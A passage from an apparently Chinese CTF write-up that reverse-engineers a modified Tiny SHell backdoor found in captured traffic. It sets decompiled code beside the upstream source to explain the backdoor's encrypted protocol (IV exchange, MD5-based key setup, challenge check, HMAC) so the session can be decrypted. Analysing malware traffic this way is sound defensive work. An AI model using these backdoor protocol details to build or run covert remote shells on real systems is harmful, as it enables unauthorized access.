alt=""><br>很容易的可以发现，http请求了一个elf文件，这一步正好就是keylog中记录的第一步。于是我们简单逆向一下bash。<br>可以发现，这个bash文件很类似<strong>一个加密的shell，等待攻击者的机器与其通信</strong>。文件首先会尝试绑定本地的IP，并且将<strong>运行时的第一个参数作为密钥解密</strong><br><img src="/2021/04/24/Misc-SecTraffice-writeup/listen.png" alt=""><br><img src="/2021/04/24/Misc-SecTraffice-writeup/decode.png" alt=""><br>在这个函数中，会有大量的<strong>通信逻辑</strong>，并且其中还加载着多个加密逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    v12 = <span class="built_in">recv</span>(fd, v11, <span class="number">16</span> - v10, <span class="number">0</span>);       <span class="comment">// &lt;----- 通信逻辑</span></span><br><span class="line">    <span class="keyword">if</span> ( !v12 )</span><br><span class="line">    &#123;</span><br><span class="line">      dword_2106C0 = <span class="number">-2</span>;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v12 &lt; <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      dword_2106C0 = <span class="number">-1</span>;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    v10 += v12;</span><br><span class="line">    v11 += v12;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( v10 &lt;= <span class="number">0xF</span> );</span><br><span class="line">  dword_2106C0 = <span class="number">-6</span>;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">sub_11A0</span>(fd) != <span class="number">1</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( v20 != <span class="number">16</span> || (v5 = <span class="built_in">memcmp</span>(&amp;xmmword_2106E0, &amp;xmmword_210130, <span class="number">0x10</span>uLL)) != <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    dword_2106C0 = <span class="number">-3</span>;</span><br><span class="line">    v5 = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    v14 = (__int64 *)&amp;xmmword_2106E0;</span><br><span class="line">    xmmword_2106E0 = <span class="number">4096</span>;</span><br><span class="line">    MEMORY[<span class="number">0x2106E2</span>] = xmmword_210130;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v15 = v14;</span><br><span class="line">      *v14 ^= qword_211B28;         <span class="comment">// &lt;----- 疑似加密逻辑</span></span><br><span class="line">      v14[<span class="number">1</span>] ^= qword_211B30;</span><br><span class="line">      v14 += <span class="number">2</span>;</span><br><span class="line">      <span class="built_in">sub_3C60</span>(&amp;unk_211720, v15);</span><br><span class="line">      v16 = *(v14 - <span class="number">1</span>);</span><br><span class="line">      qword_211B28 = *(v14 - <span class="number">2</span>);</span><br><span class="line">      qword_211B30 = v16;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v14 != (__int64 *)((<span class="type">char</span> *)&amp;qword_2106FC + <span class="number">4</span>) );</span><br></pre></td></tr></table></figure><p>考虑到<code>stream 2</code>我们还没有弄明白其含义，并且其中<strong>并没有包含任何明文</strong>。结合我们最终需要找flag的需求，很可能<strong>最终的flag存在于加密的通信内容中</strong>。于是此时我们需要简单的逆向bash的逻辑。</p><h4 id="tiny-shell">Tiny SHell</h4><p>考虑到整个题目的通信比较完整，可能不是一个简单的bash程序，所以上网搜了一圈，找到了<a href="https://github.com/creaktive/tsh">非常类似源码项目</a>。这个项目的介绍是：</p><blockquote><p>Tiny SHell - An open-source UNIX backdoor</p></blockquote><p>项目文件中包含了<strong>aes、sha1</strong>等文件，基本上实锤了其中存在加密的成分。之后用PEiD简单查看，发现这个bash程序中，<strong>包含了md5和sha1两种签名算法（这是一个伏笔）</strong>，于是结合着源码来看，很快就有了如下的分析：</p><ul><li>出题人简单魔改了程序入口，密钥需要经过输入入口的异或才会被使用。</li><li>出题人在代码某处增加了md5算法。</li></ul><p>结合这段分析，我们对整个题目有了更新的认识：<br><img src="/2021/04/24/Misc-SecTraffice-writeup/hacker2.png" alt=""></p><h3 id="stream-2：加密协议的解密">stream 2：加密协议的解密</h3><p>到了最后一步，此时已经明白了基本的目标，于是此时需要分析整个Tiny SHell通信过程中的加密流程。这边可以结合着代码和逆向结果来看：</p><h4 id="初始化-pel">初始化 pel</h4><p>由于此时<code>Tiny SHell</code>作为一个部署在被攻击机器的正向shell，其首先会尝试去进行server端的初始化（因为是等待链接的），在源码中的形式为:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">pel_server_init</span><span class="params">( <span class="type">int</span> client, <span class="type">char</span> *key )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> ret, len;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> IV1[<span class="number">20</span>], IV2[<span class="number">20</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* get the IVs from the client */</span></span><br><span class="line"></span><br><span class="line">    ret = <span class="built_in">pel_recv_all</span>( client, buffer, <span class="number">40</span>, <span class="number">0</span> );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS ) <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( IV2, &amp;buffer[ <span class="number">0</span>], <span class="number">20</span> );</span><br><span class="line">    <span class="built_in">memcpy</span>( IV1, &amp;buffer[<span class="number">20</span>], <span class="number">20</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* setup the session keys */</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">pel_setup_context</span>( &amp;send_ctx, key, IV1 );</span><br><span class="line">    <span class="built_in">pel_setup_context</span>( &amp;recv_ctx, key, IV2 );</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>对应到二进制程序:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">v2 = buffer;</span><br><span class="line">v3 = <span class="number">0LL</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">  v4 = <span class="built_in">recv</span>(client, v2, <span class="number">40</span> - v3, <span class="number">0</span>);</span><br><span class="line">  v5 = v4;</span><br><span class="line">  <span class="keyword">if</span> ( !v4 )</span><br><span class="line">  &#123;</span><br><span class="line">    RecvStatus = <span class="number">-2</span>;</span><br><span class="line">    <span class="keyword">return</span> v5;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( v4 &lt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    RecvStatus = <span class="number">-1</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  v3 += v4;</span><br><span class="line">  v2 += v4;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ( v3 &lt;= <span class="number">0x27</span> );                         <span class="comment">//    ret = pel_recv_all( client, buffer, 40, 0 );</span></span><br></pre></td></tr></table></figure><p>这一段可以对应源码中的<code> ret = pel_recv_all( client, buffer, 40, 0 );</code>，并且我们此时检查流量包，发现<code>stream 2</code> 的第一个流量包确实是40字节，验证了我们的猜想。<br><img src="/2021/04/24/Misc-SecTraffice-writeup/packet1.png" alt=""></p><p>之后，根据源码，会去调用一个叫做<code>pel_setup_context</code>的函数</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">pel_setup_context</span><span class="params">( <span class="keyword">struct</span> pel_context *pel_ctx,</span></span></span><br><span class="line"><span class="params"><span class="function">                        <span class="type">char</span> *key, <span class="type">unsigned</span> <span class="type">char</span> IV[<span class="number">20</span>] )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line">    <span class="keyword">struct</span> <span class="title class_">sha1_context</span> sha1_ctx;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">sha1_starts</span>( &amp;sha1_ctx );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, (uint8 *) key, <span class="built_in">strlen</span>( key ) );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, IV, <span class="number">20</span> );</span><br><span class="line">    <span class="built_in">sha1_finish</span>( &amp;sha1_ctx, buffer );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">aes_set_key</span>( &amp;pel_ctx-&gt;SK, buffer, <span class="number">128</span> );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( pel_ctx-&gt;LCT, IV, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memset</span>( pel_ctx-&gt;k_ipad, <span class="number">0x36</span>, <span class="number">64</span> );</span><br><span class="line">    <span class="built_in">memset</span>( pel_ctx-&gt;k_opad, <span class="number">0x5C</span>, <span class="number">64</span> );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>( i = <span class="number">0</span>; i &lt; <span class="number">20</span>; i++ )</span><br><span class="line">    &#123;</span><br><span class="line">        pel_ctx-&gt;k_ipad[i] ^= buffer[i];</span><br><span class="line">        pel_ctx-&gt;k_opad[i] ^= buffer[i];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    pel_ctx-&gt;p_cntr = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然而这个地方，如果尝试逆向了二进制程序中，会发现此时调用的并不是sha1，而是md5（正好回收了之前的伏笔）:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">RecvStatus = <span class="number">-6</span>;</span><br><span class="line"> *(_QWORD *)IV2 = *(_QWORD *)buffer;</span><br><span class="line"> *(_QWORD *)&amp;IV2[<span class="number">8</span>] = *(_QWORD *)&amp;buffer[<span class="number">8</span>];</span><br><span class="line"> *(_DWORD *)&amp;IV2[<span class="number">16</span>] = *(_DWORD *)&amp;buffer[<span class="number">16</span>];</span><br><span class="line"> *(_QWORD *)IV1 = *(_QWORD *)&amp;buffer[<span class="number">20</span>];</span><br><span class="line"> *(_QWORD *)&amp;IV1[<span class="number">8</span>] = *(_QWORD *)&amp;buffer[<span class="number">28</span>];</span><br><span class="line"> *(_DWORD *)&amp;IV1[<span class="number">16</span>] = *(_DWORD *)&amp;buffer[<span class="number">36</span>]; <span class="comment">// </span></span><br><span class="line">                                               <span class="comment">//     memcpy( IV2, &amp;buffer[ 0], 20 );</span></span><br><span class="line">                                               <span class="comment">//     memcpy( IV1, &amp;buffer[20], 20 );</span></span><br><span class="line"> <span class="built_in">MD5Init</span>((MD5_CTX *)send_ctx);</span><br><span class="line"> v6 = <span class="built_in">strlen</span>(key);</span><br><span class="line"> <span class="built_in">MD5Update</span>((MD5_CTX *)send_ctx, (<span class="type">unsigned</span> __int8 *)key, v6);</span><br><span class="line"> <span class="built_in">MD5Update</span>((MD5_CTX *)send_ctx, (<span class="type">unsigned</span> __int8 *)IV1, <span class="number">0x14</span>u);</span><br><span class="line"> <span class="built_in">MD5Final</span>((MD5_CTX *)send_ctx, buffer);</span><br></pre></td></tr></table></figure><p>这个地方是本题的一个坑点，如果无脑的使用了源码，那么最终的解密是一定会失败的。并且可以注意到，此时<strong>将发送包的前20字节用作生成recv密钥，后20字节用于生成send密钥</strong>。那么直到这一步，我们有如下结论:</p><ul><li>第一个包收到的40字节，用于生成send密钥和recv密钥</li><li>前20字节是recv密钥</li><li>后20字节是send密钥</li></ul><h4 id="recv-decrypt-and-check-challenge">recv decrypt and check challenge</h4><p>之后的逻辑中，为了保证整个通信能建立成功，以及密钥为正确的密钥，此时会检查一个<strong>签名</strong></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">  v12 = <span class="built_in">recv</span>(client, v11, <span class="number">16</span> - v10, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !v12 )</span><br><span class="line">  &#123;</span><br><span class="line">    RecvStatus = <span class="number">-2</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( v12 &lt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    RecvStatus = <span class="number">-1</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  v10 += v12;</span><br><span class="line">  v11 += v12;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ( v10 &lt;= <span class="number">0xF</span> );                         <span class="comment">// ret = pel_recv_msg( client, buffer, &amp;len );</span></span><br><span class="line">RecvStatus = <span class="number">-6</span>;</span><br><span class="line"><span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">sub_11A0</span>(client, buffer, &amp;v20) != <span class="number">1</span> )</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> ( v20 != <span class="number">16</span> || (v5 = <span class="built_in">memcmp</span>(buffer, &amp;encode_sign, <span class="number">0x10</span>uLL)) != <span class="number">0</span> )</span><br><span class="line">&#123;</span><br><span class="line">  RecvStatus = <span class="number">-3</span>;</span><br><span class="line">  v5 = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里可以看到，首先会接受长度为16字节的字符，然后将其传入<code>sub_11A0</code>，一同操作之后得到的buffer需要和<code>encode_sign</code>进行比较，从而验证整个通信过程中的<strong>密钥是否正确</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.data:0000000000210130 encode_sign     xmmword 0ED417AFD387B717304ED8580F0B30E9Ah</span><br></pre></td></tr></table></figure><p><em>这边的签名也被出题人该过，所以不能完全信赖源码啊</em></p><p>可以注意到，在进行签名比较之前，程序会调用函数<code>sub_11A0</code>，这个函数比较长，可以结合着源码看:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">char</span> temp[<span class="number">16</span>];</span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> hmac[<span class="number">20</span>];</span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> digest[<span class="number">20</span>];</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">sha1_context</span> sha1_ctx;</span><br><span class="line"><span class="type">int</span> i, j, ret, blk_len;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* receive the first encrypted block */</span></span><br><span class="line"></span><br><span class="line">ret = <span class="built_in">pel_recv_all</span>( sockfd, buffer, <span class="number">16</span>, <span class="number">0</span> );</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( ret != PEL_SUCCESS ) <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"></span><br><span class="line"><span class="comment">/* decrypt this block and extract the message length */</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">memcpy</span>( temp, buffer, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line"><span class="built_in">aes_decrypt</span>( &amp;recv_ctx.SK, buffer );</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>( j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++ )</span><br><span class="line">&#123;</span><br><span class="line">    buffer[j] ^= recv_ctx.LCT[j];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">*length = ( ((<span class="type">int</span>) buffer[<span class="number">0</span>]) &lt;&lt; <span class="number">8</span> ) + (<span class="type">int</span>) buffer[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">/* restore the ciphertext */</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">memcpy</span>( buffer, temp, <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line"><span class="comment">/* verify the message length */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( *length &lt;= <span class="number">0</span> || *length &gt; BUFSIZE )</span><br><span class="line">&#123;</span><br><span class="line">    pel_errno = PEL_BAD_MSG_LENGTH;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>大致的逻辑就是：程序接受的16字节字符串，使用我们之前生成的recv密钥进行解密（解密方式为类似cbc的模式），并且解密解开的buffer中，前两个字节表示当前输入的长度。如果输入的长度超过固定大小，则同样视为解密失败。如果长度解密完成之后，还要进行完整性校验:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* verify the message length */</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">&quot;Decrypt length:%d\n&quot;</span>, *length);</span><br><span class="line"> <span class="keyword">if</span>( *length &lt;= <span class="number">0</span> || *length &gt; BUFSIZE )</span><br><span class="line"> &#123;</span><br><span class="line">     pel_errno = PEL_BAD_MSG_LENGTH;</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;ERROR length:%d\n&quot;</span>, *length);</span><br><span class="line"></span><br><span class="line">     <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* round up to AES block length (16 bytes) */</span></span><br><span class="line"></span><br><span class="line"> blk_len = <span class="number">2</span> + *length;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>( ( blk_len &amp; <span class="number">0x0F</span> ) != <span class="number">0</span> )</span><br><span class="line"> &#123;</span><br><span class="line">     blk_len += <span class="number">16</span> - ( blk_len &amp; <span class="number">0x0F</span> );</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* receive the remaining ciphertext and the mac */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// ret = pel_recv_all( sockfd, &amp;buffer[16], blk_len - 16 + 20, 0 );</span></span><br><span class="line"> <span class="built_in">memcpy</span>(&amp;buffer[<span class="number">16</span>], &amp;recv_msg[<span class="number">16</span>], blk_len - <span class="number">16</span> + <span class="number">20</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>( ret != PEL_SUCCESS ) <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memcpy</span>( hmac, &amp;buffer[blk_len], <span class="number">20</span> );</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* verify the ciphertext integrity */</span></span><br><span class="line"></span><br><span class="line"> buffer[blk_len    ] = ( recv_ctx.p_cntr &lt;&lt; <span class="number">24</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line"> buffer[blk_len + <span class="number">1</span>] = ( recv_ctx.p_cntr &lt;&lt; <span class="number">16</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line"> buffer[blk_len + <span class="number">2</span>] = ( recv_ctx.p_cntr &lt;&lt;  <span class="number">8</span> ) &amp; <span class="number">0xFF</span>;</span><br><span class="line"> buffer[blk_len + <span class="number">3</span>] = ( recv_ctx.p_cntr       ) &amp; <span class="number">0xFF</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">sha1_starts</span>( &amp;sha1_ctx );</span><br><span class="line"> <span class="built_in">sha1_update</span>( &amp;sha1_ctx, recv_ctx.k_ipad, <span class="number">64</span> );</span><br><span class="line"> <span class="built_in">sha1_update</span>( &amp;sha1_ctx, buffer, blk_len + <span class="number">4</span> );</span><br><span class="line"> <span class="built_in">sha1_finish</span>( &amp;sha1_ctx, digest );</span><br><span class="line"></span><br><span class="line"> <span class="built_in">sha1_starts</span>( &amp;sha1_ctx );</span><br><span class="line"> <span class="built_in">sha1_update</span>( &amp;sha1_ctx, recv_ctx.k_opad, <span class="number">64</span> );</span><br><span class="line"> <span class="built_in">sha1_update</span>( &amp;sha1_ctx, digest, <span class="number">20</span> );</span><br><span class="line"> <span class="built_in">sha1_finish</span>( &amp;sha1_ctx, digest );</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>( <span class="built_in">memcmp</span>( hmac, digest, <span class="number">20</span> ) != <span class="number">0</span> )</span><br><span class="line"> &#123;</span><br><span class="line">     <span class="built_in">puts</span>(<span class="string">&quot;hmac not equal!&quot;</span>);</span><br><span class="line">     pel_errno = PEL_CORRUPTED_DATA;</span><br><span class="line"></span><br><span class="line">     <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* increment the packet counter */</span></span><br><span class="line"></span><br><span class="line"> recv_ctx.p_cntr++;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这边会根据本应传输的buffer长度，直接跳转到buffer的尾部，然后并且用之前生成的密钥进行消息的验证。完成确认之后，最终会对整个传输的数据进行解密:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* finally, decrypt and copy the message */</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>( i = <span class="number">0</span>; i &lt; blk_len; i += <span class="number">16</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">memcpy</span>( temp, &amp;buffer[i], <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">        <span class="built_in">aes_decrypt</span>( &amp;recv_ctx.SK, &amp;buffer[i] );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span>( j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++ )</span><br><span class="line">        &#123;</span><br><span class="line">            buffer[i + j] ^= recv_ctx.LCT[j];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">memcpy</span>( recv_ctx.LCT, temp, <span class="number">16</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( msg, &amp;buffer[<span class="number">2</span>], *length );</span><br><span class="line"></span><br><span class="line">    pel_errno = PEL_UNDEFINED_ERROR;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span>( PEL_SUCCESS );</span><br></pre></td></tr></table></figure><p>于是在完成这一大段分析之后，我们可以得到Tiny SHell的一个基本的传输协议:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">content_length(2 byte)+content_encrypt(length byte)+hmac(20 byte)</span><br></pre></td></tr></table></figure><p>在完成了数据解密之后，程序会去check当前解密的数据和<code>encode_sign</code>是否相等， 从而完成检查。（还剩一小段见下）</p><p>回到流量包，可以看到目前的流量传输形式如下:<br><img src="/2021/04/24/Misc-SecTraffice-writeup/packet2.png" alt=""><br>红色部分的是<strong>攻击机器往受害者机器通信的流量</strong>，蓝色的则是<strong>受害者机器回复攻击机器通信的流量</strong>，看起来整个流量通信中似乎bash也有往攻击机器发送流量的部分。会看刚刚的challenge逻辑，可以看到我们还有一小段没有分析:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span 